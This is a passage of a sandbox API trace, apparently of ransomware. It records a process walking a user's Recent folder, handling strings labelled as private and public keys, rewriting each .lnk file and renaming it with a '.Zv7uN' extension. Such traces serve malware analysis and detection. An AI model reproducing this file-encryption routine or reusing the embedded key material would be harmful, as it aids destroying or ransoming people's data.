halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\m-xse-rm7qdih2.lnk.zv7un")) returned 1 [0081.980] GetCurrentThreadId () returned 0xa30 [0081.980] GetCurrentThreadId () returned 0xa30 [0081.980] GetCurrentThreadId () returned 0xa30 [0081.980] GetCurrentThreadId () returned 0xa30 [0081.980] GetCurrentThreadId () returned 0xa30 [0081.980] GetCurrentThreadId () returned 0xa30 [0081.981] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1796f00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1796f00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1796f00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1467, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="MqJoN1slSECN 8iZ4uI.flv.lnk", cAlternateFileName="MQJON1~1.LNK")) returned 1 [0081.981] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0081.981] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0081.981] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MqJoN1slSECN 8iZ4uI.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\mqjon1slsecn 8iz4ui.flv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1796f00, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1796f00, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1796f00, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x1467)) returned 1 [0081.981] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MqJoN1slSECN 8iZ4uI.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\mqjon1slsecn 8iz4ui.flv.lnk")) returned 0x20 [0081.981] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MqJoN1slSECN 8iZ4uI.flv.lnk", dwFileAttributes=0x80) returned 1 [0082.002] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0082.002] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1f7389c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0082.003] GetCurrentThreadId () returned 0xa30 [0082.003] GetCurrentThreadId () returned 0xa30 [0082.004] GetCurrentThreadId () returned 0xa30 [0082.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0082.004] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1f848fc, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0082.005] GetCurrentThreadId () returned 0xa30 [0082.005] GetCurrentThreadId () returned 0xa30 [0082.005] GetCurrentThreadId () returned 0xa30 [0082.005] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MqJoN1slSECN 8iZ4uI.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\mqjon1slsecn 8iz4ui.flv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.005] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f960*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f960*=0) returned 0x0 [0082.005] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.005] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x1467 [0082.005] SetFilePointer (in: hFile=0x124, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f958*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f958*=0) returned 0x0 [0082.005] ReadFile (in: hFile=0x124, lpBuffer=0x1f8c700, nNumberOfBytesToRead=0x1467, lpNumberOfBytesRead=0x18f96c, lpOverlapped=0x0 | out: lpBuffer=0x1f8c700*, lpNumberOfBytesRead=0x18f96c*=0x1467, lpOverlapped=0x0) returned 1 [0082.007] CloseHandle (hObject=0x124) returned 1 [0082.007] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MqJoN1slSECN 8iZ4uI.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\mqjon1slsecn 8iz4ui.flv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0082.009] WriteFile (in: hFile=0x124, lpBuffer=0x1f8e730*, nNumberOfBytesToWrite=0x1467, lpNumberOfBytesWritten=0x18f978, lpOverlapped=0x0 | out: lpBuffer=0x1f8e730*, lpNumberOfBytesWritten=0x18f978*=0x1467, lpOverlapped=0x0) returned 1 [0082.010] CloseHandle (hObject=0x124) returned 1 [0082.012] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MqJoN1slSECN 8iZ4uI.flv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\mqjon1slsecn 8iz4ui.flv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\MqJoN1slSECN 8iZ4uI.flv.lnk.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\mqjon1slsecn 8iz4ui.flv.lnk.zv7un")) returned 1 [0082.013] GetCurrentThreadId () returned 0xa30 [0082.013] GetCurrentThreadId () returned 0xa30 [0082.013] GetCurrentThreadId () returned 0xa30 [0082.013] GetCurrentThreadId () returned 0xa30 [0082.013] GetCurrentThreadId () returned 0xa30 [0082.013] GetCurrentThreadId () returned 0xa30 [0082.013] FindNextFileW (in: hFindFile=0x6aa000, lpFindFileData=0x18faa4 | out: lpFindFileData=0x18faa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1724ae0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1724ae0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1724ae0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf64, dwReserved0=0x7a98342e, dwReserved1=0xba1113e9, cFileName="mQqJLf-H9R2.lnk", cAlternateFileName="MQQJLF~1.LNK")) returned 1 [0082.013] FileTimeToLocalFileTime (in: lpFileTime=0x18fab8, lpLocalFileTime=0x18fa18 | out: lpLocalFileTime=0x18fa18) returned 1 [0082.013] FileTimeToDosDateTime (in: lpFileTime=0x18fa18, lpFatDate=0x18fa86, lpFatTime=0x18fa84 | out: lpFatDate=0x18fa86, lpFatTime=0x18fa84) returned 1 [0082.013] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mQqJLf-H9R2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\mqqjlf-h9r2.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9ac | out: lpFileInformation=0x18f9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1724ae0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xe1724ae0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xe1724ae0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0xf64)) returned 1 [0082.013] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mQqJLf-H9R2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\mqqjlf-h9r2.lnk")) returned 0x20 [0082.013] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\mQqJLf-H9R2.lnk", dwFileAttributes=0x80) returned 1 [0082.016] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEYsOgwqY9wos5YcKbKMKba8Odw57CkTTDmWdUw47DhWHDtQXDt8O6w67CoXF5woXDh8KOUEPDlTbCuWXDlcOkRTTDqcKcwqoyw4nChhjCpsK1OsODw4R6wofDkTbCuj9EwrDClEXCsSLDg8K4w6/CrMOwwpPCqcO4w7ZmwpPDrsOfwqIcw67CqV7CnCTDuMKYfG7Cmm/CnsO+w65AQMK1dsKrwo11wpJvwrjDtcKwNMK4wrtQWF3DgwzCkGfDuHHDhMO1wrEgw43ChsO5OkxFw4PCgBo5w5zCqG9FwrXChUIxw7LDqsOKbMKMwoHCuHfDnG4VQDPCh8KSP15Vw53DlwRDwo5dwoB6Y3NywqcOwrU3DMOFBTBAQMOkDjtPwpfChcOFwp7CtWPDoAXClMK+eMOuw7zCuGMsUcK4QcO8esKfUGTDt8Oiwr40wqs7w64GwrXClTPDgxh6wqddw7Mlw7fCpTkcwqIUw57Dg2Yaw58xZsOcw4o/BCbDjcOGw58pw6TCmhXDisK6VRXCqMKIwpbDnRPCmDZRwrdVDi00PA7CoMK1aTTDkcKxw67DocKDw4fDi15qdSYwwqEOwoEpwrzCi8OpZsOewrRlw4EMwoQ1w57DhsKJwr/CmF1xC2xvLcKAw4vDvXJxwqnDscKrM8KpwoXDq8OhS3p6V8OKw4TCpcKMwrjCtMKBXjTCox